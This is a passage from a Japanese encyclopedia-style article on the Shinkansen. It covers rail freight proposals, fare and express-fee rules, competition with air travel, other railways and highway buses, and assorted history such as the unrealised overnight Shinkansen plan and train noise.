2022年、[[国土交通省]]は、深刻なトラックドライバー不足([[2024年問題]])や2050年までの[[カーボンニュートラル]]実現に向けた対応の必要性など、物流における諸課題の解決を図るため、「今後の鉄道物流のあり方に関する検討会」を設置した<ref>{{Cite web|和書|title=鉄道:今後の鉄道物流のあり方に関する検討会 - 国土交通省 |url=https://www.mlit.go.jp/tetudo/tetudo_tk5_000016.html |website=www.mlit.go.jp |access-date=2022-11-13}}</ref>。7月28日に開かれた第5回の会合では、鉄道貨物の輸送量拡大やJR貨物の経営自立支援に向けた提言の中間とりまとめを行った<ref name=":3">{{Cite web|和書|url=https://cargo-news.co.jp/cargo-news-main/3734 |title=貨物鉄道は「公的ミッション背負う唯一無二の存在」=国交省 |access-date=2022-11-13 |publisher=カーゴニュース}}</ref>。提言では「貨物鉄道の輸送モードとしての競争力強化」「貨物鉄道と他モードとの連携」「社会・荷主の意識改革」の3つの視点から14の課題を抽出した<ref name=":3" />。貨物鉄道は、航空機やトラックと比べて、[[ドア・ツー・ドア|ドアツードア]]では[[リードタイム]]や輸送品質の面で十分に競争力がある輸送サービスを提供できていないが、新幹線の貨物輸送の拡大によって競争力を強化することを課題の1つに挙げている<ref name=":3" />。新幹線は旅客輸送に特化する前提で整備されてきたが、近年は一部で貨客混載輸送が行われ、宅配便、[[鮮魚]]・[[果物|鮮果]]、[[半導体]]といった[[付加価値]]の高い品目の輸送において、新たな市場を開拓しつつある<ref name=":5" /><ref name=":4">{{Cite web|和書|url=https://www.mlit.go.jp/tetudo/content/001493161.pdf |title=変化し続ける社会の要請に応える貨物鉄道輸送の実現に向けて ~検討会中間とりまとめ~ |access-date=2022-11-13 |publisher=[[国土交通省]][[鉄道局]]貨物鉄道政策室 |author=今後の鉄道物流の在り方に関する検討会 |page=32 |date=2022-07-28}}</ref>。将来的に、新幹線の貨物専用車両による高頻度の大量高速輸送を実現できれば、日本の物流において[[イノベーション]]を引き起こす可能性があり、新たな輸送ニーズや市場の開拓を通じた[[日本の経済|日本経済]]・[[地域経済]]の[[経済成長|成長]]への貢献、航空機やトラックからの[[モーダルシフト]]による地球環境への貢献の可能性も出てくる<ref name=":4" />。一方で、大量輸送と高速走行を兼ね備えた車両の新規開発、積み替え技術の開発と必要な施設の整備、乗入れ区間、旅客列車とのダイヤ調整、安全確保のための方策、運行主体や費用負担など、多くの課題があることが指摘されている<ref name=":4" />。国、JR貨物、JR旅客会社等の関係者による調査を行って課題を整理した上で、まずはJR貨物が中心となって、線路容量に余裕がある路線における走行を念頭に置いた、高速走行と大量輸送の両立が可能な貨物専用車両の導入の可能性を検討する必要があるとしている<ref name=":4" />。
== 運賃・特急料金 ==
=== 運賃 ===
新幹線の[[運賃]]は、[[並行在来線]]の[[営業キロ]]を元に決められる。これは元来新幹線が並行在来線の別線増設として建設されたという歴史的経緯や、運賃計算の繁雑化を避けたことによるものである。詳しくは以下の通り。
注:この節での(運賃・料金計算のための)「並行在来線」とは、東海道新幹線では[[東海道本線]]、山陽新幹線では東海道本線・[[山陽本線]]・[[鹿児島本線]]、東北新幹線の[[東京駅]] - [[盛岡駅]]間では[[東北本線]]、上越新幹線では(東北本線)・[[高崎線]]・[[上越線]]・[[信越本線]]、九州新幹線の[[博多駅]] - [[新八代駅]]間、[[川内駅 (鹿児島県)|川内駅]] - [[鹿児島中央駅]]間では鹿児島本線、[[西九州新幹線]]の[[諫早駅]] - [[長崎線]]間では[[長崎本線]]のこと。
* 新幹線と並行在来線は原則として同一路線とみなされる(「幹在同一視」)。そのため、新幹線を利用した場合と在来線を利用した場合とで基本的に運賃は変わらない(後述するように例外もある)ので、在来線用の乗車券に特急券を買い足すことで、新幹線を利用できるようになる。
** 山陽本線には[[岩国駅]] - [[櫛ケ浜駅]]間を含む区間について[[岩徳線]]経由のキロ数で運賃を計算する特例がある([[経路特定区間]])が、山陽新幹線にもこの特例が適用される。なお、山陽新幹線の実際のルートは岩徳線沿いになっている。
* 並行在来線と接しない新幹線駅については、それに最も近い(もしくは対応する)並行在来線の駅に相当するものとして営業キロを定める(例:[[新花巻駅]]は[[花巻駅]]の営業キロを用いる)。
* 並行在来線(の一部)が廃止されたり[[第三セクター鉄道]]に転換されたりして「並行するJR線」が消滅した区間(北陸新幹線の[[高崎駅]] - [[金沢駅]]間・東北新幹線の盛岡駅 - [[新青森駅]]間・九州新幹線の新八代駅 - 川内駅間)については、実際のキロ数を営業キロとする。
* 幹在同一視の原則により、[[普通乗車券#片道乗車券|片道乗車券]]の経路に新幹線とそれに対応する区間の並行在来線の両方を含むことはできない。
** 例として[[名古屋駅|名古屋]]→(新幹線)→[[静岡駅|静岡]]→[[焼津駅|焼津]]と乗車する場合、静岡 - 焼津間が重複となるため1枚の片道乗車券にはできず、名古屋→静岡と静岡→焼津の別々の乗車券が必要である([[普通乗車券#連続乗車券|連続乗車券]]にすることもできる)。
一方、新幹線と並行在来線とを完全に同一視すると旅客にとって不利になる場合を考慮して、以下のような例外がある。
* 並行在来線と接しない新幹線駅を含む区間(例:品川 - 新横浜 - 小田原)については別の路線として扱う。ただし、乗車券の発駅・着駅・他線との接続駅のいずれかが当該区間内(両端を除く)の駅である場合に限る。
** 例えば[[大阪駅|大阪]]→[[新大阪駅|新大阪]]→(新幹線)→名古屋→[[大垣駅|大垣]]と乗車する場合は、米原 - 名古屋間に並行在来線と接しない新幹線駅(岐阜羽島)があり、かつ乗車券の着駅(大垣)がこの区間内のため、名古屋 - 大垣間を重複とせず全体を1枚の片道乗車券にすることができる。一方、大阪→(新幹線)→名古屋→(在来線)→米原と乗車する場合は、条件を満たさないため1枚の片道乗車券とはならない。
また山陽新幹線の[[新下関駅]] - [[小倉駅 (福岡県)|小倉駅]] - 博多駅間については、新幹線(JR西日本)と在来線(JR九州)とで管理する会社が異なることから、他の区間とは扱いが異なっている。
* 基本的には同一の路線として扱うにもかかわらず、運賃が異なる。
** JR九州管内となる下関以西の在来線では乗車距離に応じた加算額が課されるのに対し、JR西日本管轄の新幹線ではそれがないため。
* 運賃が異なることに起因して、片道乗車券の発売条件の判定がかなり煩雑である。規則を厳密に解釈すると、条件によっては片道乗車券でも連続乗車券でも発売できない経路が存在する。
詳しくは、旅客営業規則第16条の2、第16条の3および第16条の4を参照。
* [http://www.jreast.co.jp/ryokaku/02_hen/01_syo/01_setsu/03.html JRグループ旅客営業規則] - JR東日本
=== 特急料金 ===
新幹線(山形・秋田新幹線を除く)の[[特別急行券|特急料金]]は、乗車券や在来線の特急列車のような対キロ制ではなく、各駅の区間ごとに決められた、いわゆる三角表方式となっている。
新幹線と在来線の乗り継ぎについては、一定の条件で在来線の特急・急行料金を半額に割り引く制度がある([[乗り継ぎ料金制度#新幹線|乗継割引]])。これは、新幹線が開業する前は1本の(特急等の)列車で済んでいたものが、開業したことによって複数の(新幹線と特急等の)列車に分割されることによる合計後の特急料金等の負担増を軽減することをそもそもの目的として設けられたものである。
なお山形新幹線と秋田新幹線については、新在直通運転を行うため特殊な特急料金を設定している(「[[山形新幹線#運賃と特急料金]]」および「[[秋田新幹線#運賃と特急料金]]」を参照)。
== 営業上の競合など ==
{{独自研究|section=1|date=2011年10月1日}}
=== 飛行機との競合 ===
長距離輸送においては、従来から国内線との競合が続いていたが、航空会社の規制緩和による各種割引運賃の導入(早割、特割、激割など)や[[旅行会社|旅行業者]]と連携しての宿泊料金込みの格安プランの販売、および格安航空会社の参入等により、競争は一層激化している。
また、航空会社による[[マイレージサービス]]の存在も大きく影響している。これは高頻度の利用客に対し通常より多いボーナスマイルや専用ラウンジの用意、渡航先宿泊の割引などの高いサービスを与えて優遇する制度であり、利用者の大きな支持を得ている。鉄道側でも、例えばエクスプレスカードの場合、会員に対しポイントシステムを開始しているが、そのサービス内容や、高頻度利用客への優遇サービスは格段に異なっている。
航空会社との対抗については、航空路線と競合する区間を中心に割引率の大きい[[特別企画乗車券]]の発売や、ビジネス客の多い東海道・山陽新幹線では[[JR東海エクスプレス・カード]]と[[J-WESTカード]](エクスプレス)による「[[エクスプレス予約]]」、東北・山形・秋田・北海道・上越・北陸新幹線では「[[えきねっと]]」といった、運行会社自身の会員制[[インターネット]]予約による割引特急券の発売が行われている。とりわけ[[2006年]](平成18年)の[[神戸空港]]や[[北九州空港]]の開港は、競合する東海道・山陽新幹線への影響が大きく、「エクスプレス予約」の山陽新幹線への拡大、N700系車両の共同開発など、それまで対立の多かったJR東海とJR西日本両社は連携を強化する体制に転換しつつある。一方、航空会社も東京 - 大阪間でのみ使える予約変更自由、航空会社選択自由の[[シャトル便]]往復割引を導入して迎え撃っているほか、[[東京国際空港|羽田空港]]の滑走路増設による発着能力増強や、[[横田空域]]の一部返還により、更なる所要時間短縮による競争力強化が見込まれている。また、[[京浜急行電鉄]]や[[名古屋鉄道]]といった[[空港連絡鉄道]]路線を持つ鉄道各社との連携も行っている。
山陽新幹線においては、終点である[[博多駅]]と[[福岡空港]]がほぼ隣接している([[福岡市地下鉄空港線|地下鉄]]で2駅、5分前後)という特徴もあり、福岡 - 名古屋間では新幹線と航空会社との競争が非常に激化している。福岡 - 大阪間は従来競争が激しかったが、「[[ひかりレールスター]]」の登場などにより、鉄道側が優位に立っている。さらに2011年の山陽新幹線と九州新幹線の直通運転開始により、従来は航空側が優位であった大阪 - 熊本・鹿児島間でも、新幹線と航空会社との競争が激化し始めている。
また、2015年の北陸新幹線金沢延伸後は東京 - 金沢間でも新幹線と航空会社([[小松飛行場|小松空港]]発着)との競合が激化し始めている。
このように競合している一方で、新幹線が災害や事故などで運転を見合わせた場合などには、航空路は新幹線の代替交通機関としての機能も果たしている。
=== 他の鉄道との競合 ===
==== 私鉄特急との競合 ====
東海道新幹線の開業以来、新幹線と競合した私鉄特急としては、[[近畿日本鉄道]](近鉄)、[[小田急電鉄]]、[[名古屋鉄道]](名鉄)の特急があった。
私鉄特急はいずれの場合も、所要時間では新幹線と比較して大きく不利なので、割安な運賃・料金、駅の立地、車内の居住性などで対抗することになった。
; [[近鉄特急]]との競合
: 直接の競合は、名古屋 - 大阪間で見られる。大阪側では、新大阪駅から離れた[[ミナミ]]に対して、乗換を必要としないエリア(難波、鶴橋など)があることなどから、近鉄特急にも優位性がある。
: 競合は[[1964年]](昭和39年)の東海道新幹線開業時に始まる。当初は運賃・料金でも差が小さかったことや、所要時間の大幅な差などから利用客を新幹線に次々と奪われた。大阪万博のあった[[1970年]](昭和45年)を除き、1970年代前半までは低迷が続き、近鉄の名阪ノンストップ特急(甲特急)は汎用車両の2両編成による運行を余儀なくされた。一時は単行車両の導入も検討されたといわれている<ref group="注">ただし、1974年 - 1982年に行われた東海道新幹線の総点検および若返り工事に伴う半日運休日の午前中や、1975年の[[スト権スト]]で国鉄が全面運休に追い込まれた日には、名阪甲特急が4 - 6両に増結されて運転されたこともあった。</ref>。
: しかし、1970年代後半以降は、国鉄の頻発する運賃・料金の値上げとストライキに対する嫌気から、名古屋 - 大阪間においては、特に急がない個人客を中心に、新幹線から近鉄特急への乗客移行が多く見られた。その結果、1980年代に入ると同区間の近鉄特急も3両編成、後には6両編成にまで復調したが、運用される車両は汎用車両のままであった。
: その後、100系車両の投入(1985年)とJR東海の発足(1987年)による東海道新幹線の競争力強化を受けて、[[1988年]](昭和63年)に近鉄特急も新型車両「[[近鉄21000系電車|アーバンライナー]]」を投入し、2000年代には更なる新型車両「[[近鉄21020系電車|アーバンライナーnext]]」投入や「アーバンライナー」の「アーバンライナーplus」へのリニューアルを実施、運賃面でも割引乗車券の[[名阪まる得きっぷ]]を導入するなどして、主に運賃面と快適性をアピールした。
: なお、伊勢志摩・奈良方面など新幹線と競合しない区間では、むしろ東海道新幹線と近鉄特急は補完関係となっている。1964年(昭和39年)の東海道新幹線開業で、近鉄は自社特急網を新幹線の培養ルートとして育成し、新幹線で大阪・京都・名古屋に到達した旅客を自社沿線の観光地へ誘致する戦略を採った。伊勢志摩方面では[[在来線]]列車「[[みえ (列車)|みえ]]」との競合も多少見られるが、JR東海の[[特別企画乗車券]]の中には、新幹線と接続する京都駅から奈良方面への移動にJR西日本の[[奈良線]]ではなく、近鉄線を指定しているものも存在する。
: なお、上述した歴史的経緯の詳細は、[[近鉄特急史]]に詳しい。
; [[小田急ロマンスカー|小田急特急]]との競合
: 東京 - 小田原において、「[[はこね (列車)|はこね]]」などとの競合が見られる。ただ、運賃格差の大きさと[[箱根]]方面への輸送を含むというその性質の差、それに東京側ターミナルの違い(新幹線・東京駅、小田急・新宿駅<ref group="注">ただし、[[東京メトロ千代田線]]に直通する特急列車は東京駅に隣接する[[大手町駅 (東京都)|大手町駅]]に停車する。</ref>)などが作用して、棲み分けがされている。
: 東海道新幹線を運営するJR東海とは、国鉄時代から継続して小田急から[[御殿場線]]に乗り入れて新宿 - 御殿場間を運行する「[[ふじさん]]」(2018年までは「あさぎり」。一時は運行区間を新宿 - 沼津間に拡大し、専用車両として[[JR東海371系電車|371系]]・[[小田急20000形電車|20000形RSE]]を開発して共同運行を行っていた)を設定するなどしており、対立関係は見られない。
; [[名鉄特急]]との競合
: 愛知県の[[名古屋市|名古屋]] - [[豊橋市|豊橋]]について競合が見られるが、JR東海は並行する東海道本線において[[新快速]]などを運行しており、むしろこちらが名鉄特急との直接の競合関係にある。なお、この区間の新幹線利用を促進するために、在来線用の「名古屋-豊橋カルテットきっぷ」と併せて使うと新幹線に乗れる「カルテットきっぷ専用新幹線変更券」が販売されている。
==== JR(国鉄)同士 の競合 ====
国鉄時代、新幹線に並行する在来線特急と競合したものの、同一事業者よる運用として一般的には「競合」とはみなされていなかった。しかしながら、国鉄民営化後は新幹線と在来線特急が別会社によって運用されるケースが発生し、営業的にも競合関係となった。具体的な例は以下の通りである。
; [[福岡県]]内([[北部九州]])
: 山陽新幹線の小倉 - 博多間がそのひとつである。[[西日本旅客鉄道|JR西日本]](山陽新幹線)は博多駅発着の「のぞみ」などを増発し、朝晩の通勤時間帯を中心に小倉 - 博多間のみの「こだま」も設定している(詳細は[[山陽新幹線#福岡県内]]を参照)。また、土休日には[[山陽新幹線#特別企画乗車券|新幹線よかよかきっぷ]]を販売しており、在来線特急の[[2枚きっぷ・4枚きっぷ|2枚きっぷ]]と大差ない運賃で利用できる。一方、[[九州旅客鉄道|JR九州]]([[鹿児島本線]])では特急「ソニック」「きらめき」の増発、特急料金の値下げや885系・883系・787系の投入などで対抗していたが、2010年代に入り日中の「きらめき」の廃止や在来線普通・快速と大差ない運賃で利用できる「10枚きっぷ」の廃止などが行われ、新幹線に対する優位性が低下している。2018年には鹿児島本線の快速の減便(博多駅近郊のみの区間快速化)も行われており、小倉 - 博多通しの需要ではなく、新幹線の利用が不便な途中駅からの需要を担う路線にシフトしつつある。なお、鹿児島本線の小倉 - 博多間は[[輸送密度]](平均通過人員)がJR九州内で最大の区間となっている(2016年度)<ref>[https://www.itmedia.co.jp/business/articles/1708/04/news036_5.html JR九州が発表した「全路線の通信簿」から見えること (5/5)] - ITmedia ビジネスオンライン、2017年8月4日</ref>。そのほか、この区間には[[西鉄バス]]による低廉(片道1,130円)な予約不要の[[高速バス|高速都市間バス]]「[[福岡 - 北九州線|ひきの号」「なかたに号」「いとうづ号]]」も運行されているが、こちらも新幹線との競合により減便に追い込まれている。
; 南関東([[神奈川県|神奈川]]・[[伊豆半島|伊豆]]方面)
: 東京・品川 - 熱海において、[[東日本旅客鉄道|JR東日本]]・[[東海道線 (JR東日本)|東海道線]]との競合が見られる。平日早朝に上り、夜間に下り特急「[[湘南 (列車)|湘南]]」、を運行し、特に東京発 18 - 20時台では特急「湘南」が 00分・30分発と2本体制になっている。ただ、平日かつ早朝・夜間帯のみの運行であるため、競合の主な対象が通勤者に置かれており、日中の時間帯や休日では棲み分けがされている。また、快速・普通列車のほぼ全ての列車には2階建てグリーン車も連結されていて、小田原・熱海方面からの在来線利用の遠距離通勤者に配慮している。
: 他には、東京方面からの[[富士箱根伊豆国立公園]]方面へのアクセスにおける、東京・品川 - 熱海間(JR東海・東海道新幹線とJR東日本・東海道本線)の競合があげられる。両社はこの区間において在来線同士の直通運転を除き、新幹線と在来線の相互連携は特に見られず(国鉄時代から発売されている特別企画乗車券「[[伊豆フリーQきっぷ]]」で、東京 - 熱海 - 三島間で東海道新幹線あるいは在来線特急([[踊り子 (列車)|踊り子号]])自由席の利用が可能である程度)、JR東日本側では在来線特急を[[伊豆急行線]]や[[伊豆箱根鉄道駿豆線]]と東京を直通させている。
: なおJR東海は[[熱海駅]]、[[小田原駅]]から[[東京都区内]]までは新幹線を利用し、東京都区内JR在来線・[[東京臨海高速鉄道りんかい線|りんかい線]]が乗り降り自由となる「こだま都区内・りんかいフリーきっぷ」を2013年7月31日まで発売していた<ref>{{Cite press release|和書|url=http://jr-central.co.jp/news/release/nws001243.html|title=「お得なきっぷ」の一部見直しについて|publisher=[[東海旅客鉄道]]|date=2013-06-28|accessdate=2014-10-05|archiveurl=|archivedate=}}</ref>。
; 近畿圏
: [[米原駅|米原]] - [[新大阪駅|新大阪]]・[[大阪駅|大阪]]間についてJR東海が運行する東海道新幹線とJR西日本が[[琵琶湖線]]・[[JR京都線]]にて設定している新快速で競合しているが、新幹線の停車駅が米原・[[京都駅|京都]]・新大阪しかなく、新幹線の利用が不便な地域が多いため競合範囲は限られている。新幹線は長距離輸送が主体で、都市圏輸送を担う新快速と棲み分けがなされている。
; [[青森市]] - [[今別町]]
: [[奥津軽いまべつ駅]]と[[津軽二股駅]]が隣接するJR北海道の北海道新幹線とJR東日本の[[津軽線]]については青森市側の起点が[[新青森駅]]と[[青森駅]]で異なることもあり、棲み分けられている。また、この区間は並行在来線ではないという公式見解があるほか、出発または到着駅を同一駅とした場合でも[[選択乗車]]はできない。
=== 高速バスとの競合 ===
高速バスは「定時性・速度では劣るが、時間・経路・発着地の柔軟性と価格で優れている」という性質がある。
そのため、長距離区間では不利となるが、中距離区間や、大都市間を初めとする区間では、夜行バスで格安で移動できることから、高速道路の整備が進んだ1980年代ごろから人気となっている。また、都心部(東京の[[新宿]]や[[渋谷]]、名古屋の[[栄 (名古屋市)|栄]]、大阪の[[梅田]]や[[難波]]、広島の[[紙屋町・八丁堀|紙屋町]]、福岡の[[天神 (福岡市)|天神]]など)やテーマパーク([[東京ディズニーリゾート|TDR]]や[[ユニバーサル・スタジオ・ジャパン|USJ]]など)に直接乗り入れており、新幹線駅間以外でも競合している。
しかし、上述のように性質が大きく異なるため、「速さを取るか、安さを取るか」という直接的な競合というよりは、発着地、所要時間といった利用者のニーズで使い分けられている。例えば、目的地が遠く、早朝に到着する必要がある場合は、より早い時間に到着する高速バスが有利となる。早朝から(あるいは夜間の)在来線特急との乗り継ぎを要する場合はさらに高速バスが有利となる<ref group="注">この性質を指摘した例…[http://www.kotobus-express.jp/biz/ BizStyle 〜ビジネスマンの高速バス活用術〜]:[[琴平バス]]の[[比較広告]]。「夜間に移動するため、現地で早朝から遅い時間まで行動できる」と言う点で新幹線や飛行機に対する優位性が示されている。</ref>。
その一方、在来線特急との乗り継ぎが現実的でない地域では、新幹線駅との接続に高速バスが用いられる場合もあり([[B&Sみやざき]]等)、高速バスが競合ではなく補完の役割を担う場合もある。
== その他 ==<!--トリビア的、またはエッセイ的な記述を以下にその他でくくります。-->
=== 政治の影響 ===
{{Main|鉄道と政治#新幹線と政治}}
新幹線の建設に関しては、その開業効果が大きいことから、沿線の利害に関係することとして建設時よりさまざまな政治介入がなされてきたといわれる。
最も古い話では、東海道新幹線の建設時に起こった[[京都駅]]の設置是非をめぐる問題や、[[大野伴睦]]の介入による[[岐阜羽島駅]]の設置騒動がある。ただし岐阜羽島駅の設置には、関ヶ原の降雪対策という政治的な影響力とは別の理由もあり、政治力のみで設置されたわけではないと言われている。
また逆に、一度は着工された駅新設が、その新設を争点とした選挙での県知事交代によって凍結に追い込まれた、滋賀県の[[南びわ湖駅]]の例もある。
=== 世界の高速鉄道の呼称 ===
日本では、新幹線という単語がすでに[[高速鉄道]]そのものを意味する普通名詞と化しているため、報道などでは日本国外の高速鉄道についても国名を付けて「○○新幹線」「○○版新幹線」「○○の新幹線」と広く呼ばれている(例:[[TGV]]はフランス新幹線、[[ICE]]はドイツ新幹線、[[韓国高速鉄道|KTX]]は韓国新幹線、[[ロシア高速鉄道]]はロシア新幹線、[[台湾高速鉄道|台湾高鐵]]は台湾新幹線など)。<!-- ここでは日本以外で○○新幹線と呼ぶ例を挙げる。 -->
しかし、日本の新幹線は[[鉄道車両|車両]]・[[軌道 (鉄道)|軌道]]・[[架線]]・[[信号保安|信号]] ([[自動列車制御装置|ATC]]) などを総合した独自のシステムであり、ミニ新幹線を除けばヨーロッパのように在来線と相互乗り入れしているわけではなく、他の高速鉄道システムとは区別することがある。[[英語]]では、日本の新幹線は [[:en:shinkansen|Shinkansen]] と表記されるように、新幹線とは日本の高速鉄道システムの固有の名称として取り扱っている。技術的には、他国の高速鉄道と異なり在来線とは独立したシステムとなっているのが特徴で、動力分散方式など独自性が強いのも特徴である。もっとも、車両が新幹線とほぼ同一であるなど仕様が近い台湾高鐵に関しては[[高雄捷運]]の日本語アナウンスなどで「台湾新幹線」と呼称している例も存在し、台湾高鐵の建設の際に機電システムを請け負った日本連合7社が設立した合弁会社は「台湾新幹線株式会社」と名乗っていた<ref>[https://www.jorsa.or.jp/ja/exports/detail.php?id=23 台湾高速鉄道| アジア&オセアニア|日本の輸出|JORSA 日本鉄道システム輸出組合]</ref>。
=== 夜行新幹線計画 ===
山陽新幹線開通前に「[[夜行列車#夜行新幹線の検討|夜行新幹線]]」も計画され、山陽新幹線技術基準調査委員会報告([[1966年]])では、東京から博多の間を一晩に計24本で運行した場合、片道平均5,000から7,000人の需要があると見込んでいた。新幹線の夜間運行は片側1路線を運用し、もう片側の路線は保守点検して運行するという計画であった。また当時は[[四国新幹線]]や[[中国横断新幹線]]の計画も含め衝突を避けて夜間運行を実現させるために[[姫路駅]]の新幹線13番ホームを待避線に、待避駅として[[西明石駅]]・[[相生駅 (兵庫県)|相生駅]]が建設された<ref>{{Cite news|url=http://www.kobe-np.co.jp/news/shakai/0004886555.shtml|title=兵庫に4駅集中なぜ?幻の「夜行新幹線」計画|newspaper=[[神戸新聞]]|publisher=[[神戸新聞社]]|date=2012-03-15|accessdate=2020-04-02|archiveurl=https://web.archive.org/web/20120317131419/http://www.kobe-np.co.jp/news/shakai/0004886555.shtml|archivedate=2012-03-17}}</ref>。しかし[[名古屋新幹線訴訟]]などの新幹線の騒音問題が浮き彫りになったことや[[国鉄分割民営化]]で夜行新幹線の計画は実現しなかった。
大規模なイベントにあわせて、臨時列車として夜行新幹線が運転されたことはある。[[2002 FIFAワールドカップ]]の際には[[東海道新幹線]]・[[上越新幹線]]で深夜帯に臨時列車が運転された<ref>{{Cite web|和書|url=https://www.tetsudo.com/column/117/|title=オリンピックにあわせて設定「夜行新幹線」 実は過去にも運転されていた|accessdate=2021-07-30|publisher=鉄道コム|date=2021-07-02}}</ref>。[[2020年東京オリンピック]]では、[[宮城スタジアム]]で行われるサッカー競技の試合に合わせ、[[東北新幹線]]の[[仙台駅]] - [[盛岡駅]]間、仙台駅 - [[東京駅]]間で臨時の夜行新幹線を走らせる予定があったが<ref>[https://www.jreast.co.jp/press/2021/20210630_ho04.pdf 東京 2020 オリンピック期間中における臨時列車の運転について] - JR東日本・2021年6月30日</ref>、[[新型コロナウイルス感染症 (2019年)|新型コロナウイルス感染症]]の流行拡大に伴い、宮城では有観客の開催となったものの、感染拡大防止の観点から夜行新幹線の運転は中止され幻となった<ref>[https://www.jreast.co.jp/press/2021/20210713_ho01.pdf 東京 2020 オリンピック期間中における臨時列車の運転計画について] - JR東日本・2021年7月13日</ref>。
[[大阪産業大学]][[工学部]]の波床正敏・井上喜裕らのように、新幹線の夜行運行の適用可能性を環境負荷と発着時間帯の観点から検討し、発着時間帯の設定自由度が従来の夜行列車より高く有望であるとする考えもある<ref>{{PDFlink|[http://www.osaka-sandai.ac.jp/ce/rt/19xx/08/JSCE-080324c.pdf 全国新幹線鉄道網を利用した夜行列車の運行可能性に関する検討]}} - [[大阪産業大学]]工学部 [[波床正敏]]、[[井上喜裕]]</ref>。
=== 駅での新幹線案内サイン・駅名標 ===
* 新幹線が乗り入れる駅において、駅構内の表示では、[[ピクトグラム]]として国鉄時代は[[新幹線0系電車|0系]]・[[新幹線200系電車|200系]]を元にした絵(丸型の先頭車両)が描かれていた。JR東日本の東北・上越新幹線の駅、および東京駅での東海道新幹線乗り場案内サイン(JR東日本構内)は現在もこれを踏襲している。しかし、JR東海と西日本では、その後登場した車両の絵を用いている。
* 地下鉄など国鉄・JR以外の駅では、乗り換え表示に「JR線」と表示するのではなく「JR線・新幹線」と新幹線を在来線と分けて記載する例がみられる。
* 新幹線の英語表記の案内表示では、表記が統一されていないものがある。たとえば、「新横浜」をShin-Yokohamaと表記しているところもあれば、Shin-yokohamaと表記しているところもある。この点は専門家の間でもまとまった意見は出ていないのが現状である。
* 開業当初より1970年代中頃までの東海道新幹線では、在来線と異なり同線の独自仕様の[[駅名標]]を採用した。様式としては在来線の駅名標と比較して横長となり、また漢字と全大文字のローマ字表記のみとして、平仮名表記を省略し、さらに在来線の駅では下部に書かれている前駅と次駅の表示も廃止した<ref group="注">この様式の駅名標は、東海道新幹線50周年記念で発行された各書籍の開業当時の駅構内の写真や1960年代中頃から1970年代中頃にかけて発行されていた鉄道雑誌の一部の頁で確認することが可能である。</ref>。同じく開業当初の山陽新幹線でも独自仕様の駅名標が採用されたが、こちらは東海道新幹線とは異なり、漢字と全大文字のローマ字表記の自駅表示に前駅と次駅の表示を追加したものであった。しかし東北・上越新幹線以降の新幹線では新幹線独自の駅名標は採用されず、東海道新幹線では1970年代後半頃から、山陽新幹線では国鉄末期からそれぞれ急速に在来線や東北・上越新幹線以降で採用された国鉄標準の様式の駅名標に順次交換され、JR発足当初にはこの駅名標は既に現存しなくなっていた。なお、JR化後はJR各社が独自の様式の駅名標を採用し、全駅それに取り換えられているため、2015年現在では新幹線では国鉄型の駅名標は皆無となっている。
=== 警笛・走行音など ===
* 新幹線の「音」は「ビュワーン」という擬音表現が古くからよく知られ、メディアなどでも取り上げられることが多かった。新幹線を用いた旅行という設定のCM、[[童謡]]『はしれちょうとっきゅう』(作曲:[[湯浅譲二]]、歌・作詞:[[山中恒]])の歌詞などである。これを新幹線の走行音と思う人も多かったが、実際は走行中の主に高速走行時の警笛音である。なお、この音で新幹線がイメージされることは1980年代以降薄れ、[[新幹線100系電車|100系]]以降の東海道・山陽新幹線車両や東海道・山陽新幹線以外の新幹線についても、この音がメディアなどで取り上げられることは少なくなった。
* 実際の新幹線の走行音は、低速運転時(少なくとも110 km/h以下)の場合は在来線の走行音より静かである。これはロングレールの多用によりレールの継ぎ目が少ないことや、在来線車両よりも歯数比が低く、同じ速度であれば電動機がより低速で回転することなどに起因している<ref group="注">特に[[埼京線]]では、平行する東北新幹線よりも騒音が大きいと苦情が多数寄せられ、開業からわずか5年で新型車両([[国鉄205系電車|205系]])に入れ替えなければならない事態となった。なお、新幹線側は当初から走っている[[新幹線200系電車|200系]]が20年以上経った2013年まで同区間を走行していた。</ref>。
* 走行音の発生源としては車輪や架線、車体前面や側面・上面の突起物による風切り音(空力音)がある<ref group="注">初期の0系時代にはパンタグラフの摺動音と電気火花による音もした。</ref>が、300 km/h近くなると空力音がその大半を占めるようになる。そのため高速走行には「[[新幹線車両]]」で述べたような空力音対策が必要とされる。
* トンネル突入の際、圧縮された空気により、退出側の坑口周辺ですさまじい騒音が発生する。[[トンネル微気圧波]]による騒音であり、圧縮波とも呼ばれている(通称「トンネルドン」)。上記に同じく、対策が必要とされる。
=== 列車ダイヤ ===
新幹線については、異常時を除き午前0時から午前6時までの列車の運転を営業・非営業列車を問わず実施しておらず{{refnest|group="注"|ただし、[[車両基地]]と最寄り駅間の短距離区間については、この前後の時間に運行されることがある。例えば、2011年3月12日改正(九州新幹線全線開業)時の東海道・山陽・九州新幹線では、5時42分に[[熊本総合車両所]]を発車する回送が最も早く、0時18分に[[博多総合車両所]]及び熊本総合車両所に到着する回送が最も遅くなる<ref>東海道・山陽・九州新幹線列車運行図表、2011年3月12日改正、東海旅客鉄道株式会社新幹線鉄道事業本部</ref>。}}、保線作業のための時間に充てられている。このため、[[始発列車]]に使われる車両は、前日の深夜に整備済みの編成を[[車両基地]]から駅に回送し、そのまま[[夜間滞泊]]させる場合が多い。ただし、北海道新幹線の青函トンネル界隈の区間では、在来線と共用しており、在来線の貨物列車は午前0時から午前6時までの間にも運転されている。また、在来線に直通する山形新幹線及び秋田新幹線の在来線区間(福島駅 - 新庄駅間、盛岡駅 - 秋田駅間)では運行時間帯の制約がなく、この時間帯にも運転される列車がある。
=== 営業主体の根拠 ===
法律面では新幹線の営業主体を特定していないが、運営がJRグループに継承されている理由としては、
# 新幹線の経営には莫大な費用がかかり、それを負担できる資本力があるのは[[日本国有鉄道|旧国鉄]]の業務を継承したJR各社しか存在しない。
# 旧国鉄には、[[東海道新幹線]]、[[山陽新幹線]]、[[東北新幹線]]、[[上越新幹線]]を経営してきた実績があり、それがJR各社に分割民営化されたことで、運営を知る人材を持つJR各社に引き継がれた。
ということが挙げられる。
=== 地名における「新幹線」 ===
[[静岡県]][[田方郡]][[函南町]]には「新幹線」という地名が存在する。これは昭和30年代の新幹線計画にちなむものではなく、戦前の弾丸列車計画時代のものである。弾丸列車計画時代に[[丹那トンネル|新丹那トンネル]]の工事を行うための従業員宿舎が置かれた場所で、工事終了後に宿舎は撤去されたが、その後同地に住宅団地が建てられ「新幹線」という地区が生まれることとなった。この地区には新幹線公民館や「幹線下」という名の[[バス停留所|バス停]]も存在している。
